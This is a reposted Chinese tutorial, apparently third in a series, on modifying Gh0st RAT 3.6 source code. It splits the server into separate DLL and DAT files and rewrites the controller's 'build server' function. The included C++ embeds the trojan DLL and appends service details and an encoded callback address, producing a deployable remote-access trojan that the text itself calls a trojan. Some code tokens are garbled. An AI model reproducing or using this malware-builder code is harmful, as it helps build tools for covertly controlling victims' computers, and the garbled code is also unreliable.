Gh0st源码学习(三)生成DLL和DAT文件
生活随笔
收集整理的這篇文章主要介紹了
Gh0st源码学习(三)生成DLL和DAT文件
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
從生成的EXE文件中分離出DLL和DAT 文件
一、自定義DLL和DAT文件的生成路徑
先搜索 IDR_BSS 、 IDR_DLL
? 1、 IDR_DLL
? 位置:\Gh0st3.6原版\Server\install\install.cpp(418):??? ??? ReleaseResource(NULL, IDR_DLL, "BIN", strModulePath, lpConfigString);
?
? 附:查找 ReleaseResource
???
2、\Gh0st3.6原版\Server\install\install.rc(29):IDR_DLL???????????????? BIN???? DISCARDABLE???? "res\\svchost.dll"
?? 3、\Gh0st3.6原版\Server\install\resource.h(5):#define IDR_DLL???????????????????????? 101 // 這個不能改
???
再搜IDR_BSS ,必須從工程的根目錄開始搜索
4、\Gh0st3.6原版\gh0st\gh0st.rc(589):IDR_BSS???????????????? BSS???? DISCARDABLE???? "res\\install.exe"
二、修改生成文件
1、右擊 svchost flies ,選擇 設置 ,連接 ,輸出文件名
??
?左邊面板中單擊 install ,將對應的 輸出文件名
???
三、修改“生成服務端”按鈕對應代碼
進入 資源窗口 ,Dialog ,IDD_BUILD ,點擊 “生成服務端” ,進入代碼編輯?
將整個 響應函數 的代碼 都替換掉!
???
后記:
之前單一的GHSOT是那種以文件包含文件的形式生成...(個人這樣理解..也這樣理解..)
現在我們是 用 UPDATE文件夾下面的2個文件..來讓主控端調用生成 木馬..所以生成的方式不一樣..
所以這里的 代碼也要相信的修改...
因為在DLL和DAT中都相應的修改了資源的調用..所以我們在主控端也要相應的修改生成的方式..
好了 編譯下 看有沒有錯誤
注意一點: 添加代碼注釋的時候 不要用 中文 數學、或是標點符號 。。
否則極有可以在資源編譯的時候不能順利通過!
一、自定義DLL和DAT文件的生成路徑
先搜索 IDR_BSS 、 IDR_DLL
? 1、 IDR_DLL
? 位置:\Gh0st3.6原版\Server\install\install.cpp(418):??? ??? ReleaseResource(NULL, IDR_DLL, "BIN", strModulePath, lpConfigString);
| ???? if (lpServiceName != NULL) ?? ?{ ?? ??? ?//修改 ?? ?//?? ?ReleaseResource(NULL, IDR_DLL, "BIN", strModulePath, lpConfigString); ?? ??? ?ReleaseResource(NULL, "DLL", "BIN", strModulePath, lpConfigString); ?? ?} |
? 附:查找 ReleaseResource
| ???? 修改其代碼:BOOL ReleaseResource(HMODULE hModule, DWORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName, LPCTSTR lpConfigString) ???? 為:BOOL ReleaseResource(HMODULE hModule, LPCTSTR wResourceID, LPCTSTR lpType, LPCTSTR lpFileName, LPCTSTR lpConfigString) ???? 并將其中的: ???? hResInfo = FindResource(hModule, MAKEINTRESOURCE(wResourceID), lpType); 改成:??? hResInfo = FindResource(hModule, wResourceID, lpType); |
2、\Gh0st3.6原版\Server\install\install.rc(29):IDR_DLL???????????????? BIN???? DISCARDABLE???? "res\\svchost.dll"
| ?//去掉這段代碼 分離DLL、DAT 修改位置 2 //IDR_DLL???????????????? BIN???? DISCARDABLE???? "res\\svchost.dll" |
| ?//分離DLL、DAT文件 修改位置 3 //#define IDR_DLL???????????????????????? 101 // 這個不能改 //#define IDR_SYS???????????????????????? 102 // 這個不能改 |
再搜IDR_BSS ,必須從工程的根目錄開始搜索
4、\Gh0st3.6原版\gh0st\gh0st.rc(589):IDR_BSS???????????????? BSS???? DISCARDABLE???? "res\\install.exe"
| ?//分離DLL、DAT文件 修改位置 4 //IDR_BSS???????????????? BSS???? DISCARDABLE???? "res\\install.exe" |
二、修改生成文件
1、右擊 svchost flies ,選擇 設置 ,連接 ,輸出文件名
| ?????? 原內容:../install/res/svchost.dll --可以自己去 svchost目錄中找 改成:../../bin/Update/heikehc.dll |
?左邊面板中單擊 install ,將對應的 輸出文件名
| ? ? 原內容:../../gh0st/res/install.exe --EXE文件,可以修改成DAT文件 改成:../../bin/update/heikehc.dat |
三、修改“生成服務端”按鈕對應代碼
進入 資源窗口 ,Dialog ,IDD_BUILD ,點擊 “生成服務端” ,進入代碼編輯?
將整個 響應函數 的代碼 都替換掉!
| ?void CBuildView::OnBuild()? { ?? ?// TODO: Add your control notification handler code here ?? ?UpdateData(tr); ?? ?if (m_ServiceDisplayName.IsEmpty() || m_ServiceDescription.IsEmpty()) ?? ?{ ?? ??? ?AfxMessageBox("請完整填寫服務顯示名稱和描述 -:("); ?? ??? ?return; ?? ?} ?? ?CString strAddress; ?? ?// 保存配置 ?? ?((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "DisplayName", m_ServiceDisplayName); ?? ?((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "Description", m_ServiceDescription); ?? ?((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Build", "enablehttp", m_enable_http); ?? ?if (m_enable_http) ?? ?{ ?? ??? ?CString str; ?? ??? ?GetDlgItemText(IDC_URL, str); ?? ??? ?((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "httpurl", str); ?? ??? ?str.MakeLower(); ?? ??? ?strAddress = MyEncode(str.GetB?r(0)); ?? ?} ?? ?else ?? ?{ ?? ??? ?GetDlgItemText(IDC_DNS_STRING, strAddress); ?? ??? ?if (strAddress.Find("AAAA") == -1) ?? ??? ?{ ?? ??? ??? ?AfxMessageBox("域名上線字串格式出錯 -:("); ?? ??? ??? ?return; ?? ??? ?} ?? ??? ?strAddress.Replace("AAAA", ""); ?? ?} ?? ?CString?? ??? ?strServiceConfig; ?? ?strServiceConfig.Format("%s|%s", MyEncode(m_ServiceDisplayName.GetB?r(0)),? ?? ??? ?MyEncode(m_ServiceDescription.GetB?r(0))); ?? ?CFileDialog dlg(FALSE, "exe", "server.exe", OFN_OVERWRITEPROMPT,"可執行文件|*.exe", NULL); ?? ?if(dlg.DoModal () != IDOK) ?? ??? ?return; ?? ?char Path[MAX_PATH]; ?? ?char ExePath[MAX_PATH]; ?? ?char DllPath[MAX_PATH]; ?? ?char BakPath[MAX_PATH]; ?? ?char Wrong[MAX_PATH]; ?? ?char Wrong1[MAX_PATH]; ?? ?GetModuleFileName(NULL, Path, sizeof(Path));?? //獲取程序自身完整路徑名稱,即Gh0st.exe的路徑 ?? ?PathRemoveFileSpec(Path); ///其實前面的和安全吧做的那個分離教程一樣..就是這里之后..重新把DAT里的DLL分離出來了. ?? ?wsprintf(ExePath,"%s%s",Path,"\\update\\heikehc.dat"); ?? ?wsprintf(DllPath,"%s%s",Path,"\\update\\heikehc.dll"); ?? ?wsprintf(BakPath,"%s%s",Path,"\\update\\Cache.bak"); ?? ?wsprintf(Wrong,"%s%s%s%s","\"",ExePath,"\""," 哥,文件都丟失了!"); ?? ?wsprintf(Wrong1,"%s%s%s%s","\"",DllPath,"\""," 哥,文件都丟失了!"); ?? ?if(!CopyFile(ExePath,BakPath,FALSE))? //如果不存在dat文件就提示下 ?? ?{ ?? ??? ?MessageBox(Wrong,"提示"); ?? ??? ?return; ?? ?} ?? ?HANDLE hFile; ??? hFile = CreateFile(DllPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); ??? if (hFile == INVALID_HANDLE_VAL) ??? { ?? ??? ?DeleteFile(BakPath); ????? ??? ?MessageBox(Wrong1,"提示"); ?? ??? ?return; ??? } ?? ?DWORD nSizeOfSrcFile = GetFileSize( hFile, &nSizeOfSrcFile );? ?? ?char *szSrcFileB = new char[ nSizeOfSrcFile ];? ?? ?ReadFile( hFile, szSrcFileB, nSizeOfSrcFile, &nSizeOfSrcFile, NULL);? ?? ?HANDLE hUpdate; ?? ?BOOL ret; ?? ?hUpdate = BeginUpdateResource(BakPath, false); ??? ret = UpdateResource(hUpdate, "BIN", "DLL", 0, szSrcFileB, nSizeOfSrcFile); ??? if (!ret) ??? { ?? ??? ?CloseHandle(hFile); ??? } ??? CloseHandle(hFile); ?? ?EndUpdateResource( hUpdate, false );? ?? ?delete []szSrcFileB;? ?? ?CloseHandle(hFile); ?? ?CopyFile(BakPath,dlg.GetPathName(),FALSE); ?? ?DeleteFile(BakPath); ?? ?CFile file; ?? ?if(file.Open (dlg.GetPathName(), CFile::modeWrite)) ?? ?{ ?? ??? ?try ?? ??? ?{ ?? ??? ??? ?file.Seek(0,CFile::end);?????????????? //把文件指針指向文件末尾 ?? ??? ??? ?// 寫入6個'C',是服務的名稱和描述 ?? ??? ??? ?file.Write("CCCCCC", 6); ?? ??? ??? ?file.Write(strServiceConfig, strServiceConfig.GetLength() + 1); ?? ??? ??? ?// 寫入6個'A',安裝時查找 ?? ??? ??? ?file.Write("AAAAAA", 6); ?? ??? ??? ?file.Write(strAddress, strAddress.GetLength() + 1); ?? ??? ??? ?file.Close(); ?? ??? ??? ?char ShowText[200]; ?? ??? ??? ?wsprintf(ShowText,"%s%s","服務端已生成到:",dlg.GetPathName()); ?? ??? ??? ?MessageBox(ShowText,"提示",MB_ICONEXCLAMATION | MB_OK); ?? ??? ?} ?? ??? ?catch(...) ?? ??? ?{ ?? ??? ??? ?MessageBox("文件保存失敗,請檢查...","提示",MB_OK|MB_ICONSTOP); ?? ??? ?} ?? ?} } |
后記:
之前單一的GHSOT是那種以文件包含文件的形式生成...(個人這樣理解..也這樣理解..)
現在我們是 用 UPDATE文件夾下面的2個文件..來讓主控端調用生成 木馬..所以生成的方式不一樣..
所以這里的 代碼也要相信的修改...
因為在DLL和DAT中都相應的修改了資源的調用..所以我們在主控端也要相應的修改生成的方式..
好了 編譯下 看有沒有錯誤
注意一點: 添加代碼注釋的時候 不要用 中文 數學、或是標點符號 。。
否則極有可以在資源編譯的時候不能順利通過!
總結
以上是生活随笔為你收集整理的Gh0st源码学习(三)生成DLL和DAT文件的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Gh0st源码学习(二)去除硬盘锁和驱动
- 下一篇: WinDbg学习笔记(一)--认识Win